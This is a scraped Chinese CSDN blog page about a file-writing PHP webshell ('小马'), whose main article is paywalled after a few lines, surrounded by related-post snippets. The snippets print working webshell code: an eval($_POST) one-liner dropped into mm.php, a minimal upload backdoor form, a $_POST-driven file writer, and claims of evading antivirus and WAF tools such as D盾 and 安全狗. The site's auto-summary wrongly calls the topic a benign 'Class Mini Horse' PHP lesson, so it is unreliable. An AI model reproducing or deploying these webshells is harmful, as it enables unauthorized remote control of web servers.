[php]写入类小马

于 2021-11-18 15:09:45 发布
阅读量271 收藏
点赞数
分类专栏： php ctf html 文章标签： 后端 php 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_37301470/article/details/121401285
版权
这篇博客探讨了如何在PHP中实现类小马（Class Mini Horse）的文件写入功能，适合后端开发者了解PHP类的使用及文件操作技巧。通过实例代码，讲解了如何创建类、定义方法并执行文件写入操作，同时也涵盖了前端如何与后端接口进行交互。
摘要由CSDN通过智能技术生成 
<?php
	header("Content-type:text/html;charset=utf-8");
	$get=$_GET['pwd'];
	$pass=md5(md5(123));
	if(!empty($get)){
   
		if(md5(md5($get<
最低0.47元/天 解锁文章
捞氘河水怪
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
PHP小马总结
weixin_45486362的博客
06-25 397
利用文件上传漏洞，往目标网站中上传一句话木马，只要攻击者满足三个条件，就能实现成功入侵。 （1）木马上传成功，未被杀； （2）知道木马的路径在哪； （3）上传的木马能正常运行。 我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据，一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我们传递的数据，并把接收的数据传递给一句话木马中执行命令的函数，进而执行命令。 所以看到的经典一句话木马大多都是只有两个部分，一个是可以执行代码的函数部分，一个是接收数
php超小免杀大马_超小PHP小马小结(方便查找后门的朋友)免杀
weixin_39579483的博客
12-30 857
作者: spider我也来个超小PHP小马复制代码 代码如下:header("content-Type: text/html; charset=gb2312");if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);?>保存文件名: if(isset($_POST['file...
php webshell探索-常见小马
qq_44370676的博客
12-11 4712
webshell一.何为webshell二.常见小马探索1.直接型2.通过反射类调用3.通过排序函数调用4.通过类的混淆1.类的魔术方法2.类的自定义方法3.通过反射获取类的注释5.通过函数的混淆6.普通的混淆7.其他的隐藏方式1.ob_start2.register_shutdown_function3.回调函数4.数组5.反引号 一.何为webshell 黑客通过一定途径将webshell上传至服务器具有执行权限（必须要有执行权限才可以，没有执行权限是没有用的）的WEB目录下。远程访问webshell实
PHP小马
eT48_Sec
01-04 1903
http://xiaojianke.blog.163.com是我原来的博客，工作后换成了C博客，这里吐槽一下网易博客太差了。 看到网上那么多PHP小马，我也来自己写一个，练习PHP编程。 <?php error_reporting(E_ERROR); header('Content-Type:text/html; charset=utf-8'); $path=getcwd(); $pe
分享PHP小马一枚，完美绕过安全狗检测。
weixin_30565327的博客
01-23 340
没做免杀之前，被狗咬死： 直接上代码： $p=realpath(dirname(__FILE__)."/../").$_POST["a"];$t=$_POST["b"];$tt="";for ($i=0;$i@fwrite(fopen($p,"w"),$tt);echo "success!";?> 代码分析： $p=realpath(dirname(__FILE...
php小马怎么打开,PHP小马
weixin_34405261的博客
03-09 247
http://xiaojianke.blog.163.com是我原来的博客，工作后换成了C博客，这里吐槽一下网易博客太差了。看到网上那么多PHP小马，我也来自己写一个，练习PHP编程。error_reporting(E_ERROR);header('Content-Type:text/html; charset=utf-8');$path=getcwd();$perms=substr(sprint...
Discuz DuceXHome插件跨站分析陆小马功钟浩.pdf
09-14
如果满足这一条件，程序就会继续处理该变量，最终可能导致通过`document.write`写入`embed`标签，从而触发跨站脚本攻击。 0x1 Discuz Cookies处理流程 我们以Discuz 7.2为例来分析其设置cookies的关键函数`...
记一次HW目标测试1
08-03
INTO OUTFILE方法是将SQL查询结果写入文件，而general_log方法则是利用MySQL的日志功能将恶意PHP代码写入日志文件，使其成为可执行的PHP脚本。然而，这些尝试都未能成功，可能是由于服务器的配置限制或者防火墙规则...
NC上传拿WEBSHELL教程
11-24
4. **安全伦理**：虽然这类技术可用于渗透测试和漏洞验证，但非法入侵他人系统是违法的，因此必须遵循合法和道德的准则，仅在授权或合法范围内使用这些技能。 总结来说，"NC上传拿WEBSHELL教程"涵盖了网络安全中的...
网站拿webshell_经典全集.doc
10-17
通过使用特殊符号（如`""://`）构造最小马，攻击者可以将WebShell写入程序的配置文件中。例如，在Joekoe论坛、某某同学录、沸腾展望新闻系统和COCOON Counter统计程序等系统中，可以在管理邮箱处添加类似`cnhacker@...
未加密PHP小马源代码
01-10
未加密的PHP网马源代码，供代码研究。 部分代码： $v) $_POST[$k] = stripslashes($v); ?>
PHP过D盾免杀小马.zip
06-14
提供混淆以及未混淆两个文件，可以随意过D盾，可用菜刀直接连接！
最短的PHP马 最短的PHP马
11-26
关于PHP小马，网上流传的版本很多，但本次介绍的是全国首发最短的PHP木马 废话不多说了，代码贴出： Quote: <form method="post" enctype="multipart/form-data"><input name="upfile" type="file"><input type="submit" value="ok"></form> <?php if ($_SERVER['REQUEST_METHOD'] == 'POST') {if(!file_exists($_FILES["upfile"]["name"])){ copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]);}}?> 上传后地址为本地文件名,此PHP小马仅有4K.285个字节.堪称最小的PHP小马. 当然因为精简的原因，上传后什么都不显示也未提示是否成功，许多新手使用起来觉得不是很方面，我们可以加一个参数，以显示上传后的结果，代码如下： Quote: <form method="post" enctype="multipart/form-data"><input name="upfile" type="file"><input type="submit" value="ok"></form><?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "上传成功! 地址：url+".$_FILES["upfile"]["name"]; if(!file_exists($_FILES["upfile"]["name"])){ copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]);}}?>
Gxlcms有声小说系统小说听书系统源码
最新发布
12-27
2、如果您的主机为 window 操作系统，请将以下文件夹的IIS用户加上写入权限 3、如果您的主机为 linux 操作系统，请设置如下文件夹权限为 777 ./Runtime/* 系统缓存目录 ./Uploads/* 系统附件保存目录 4、通过...
PHP小马免杀
weixin_34072159的博客
11-12 771
PHP小马免杀 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=Content-Type content="text/html; c...
php小马怎么打开,php小马是什么
weixin_33687939的博客
03-09 908
php小马是什么？php小马也就是一句话木马，就是指只需要一行代码的木马，短短一行代码，就能做到和大马相当的功能。为了绕过waf的检测，一句话木马出现了无数中变形，但本质是不变的：木马的函数执行了我们发送的命令。我们如何发送命令，发送的命令如何执行？我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据，一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE...
PHP小马，大马实现分析编写
热门推荐
Love&Share
03-15 1万+
PHP工具开发 PHP小马 简单隐藏 登陆密码 实现写入文件 <?php $pass = '14e1b600b1fd579f47433b88e8d85291'; #123456 $get = $_GET['pass']; if (!empty($get)) { if (md5(md5($get))) { if (!empty($_POST)) { $path=$_POST['filepath']; $content=$_P
同目录下生成一个php小马
weixin_30325793的博客
04-30 199
<?fputs(fopen("mm.php","w"),"<?eval(\$_POST[888888]);?>")?> 保存为php文件上传。这段代码的意思是在当前目录下生成一个名为mm.php的文件 [原创]特殊的php上传漏洞再到获取linux root最后栽下rootkit 文章作者：sunwear信息来源：邪恶八进制信息安全团队（www.eviloctal...
php小马怎么打开,超小PHP小马小结(方便查找后门的朋友)
weixin_34917128的博客
03-09 273
作者: spider我也来个超小PHP小马复制代码代码如下:header("content-Type: text/html; charset=gb2312");if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);?>保存文件名: if(isset($_POST['file'...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值